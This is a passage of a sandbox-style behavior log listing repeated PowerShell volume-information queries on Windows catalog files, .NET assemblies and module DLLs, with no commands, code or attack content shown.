Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0214~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.746.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.19041.1165.cat VolumeInformation
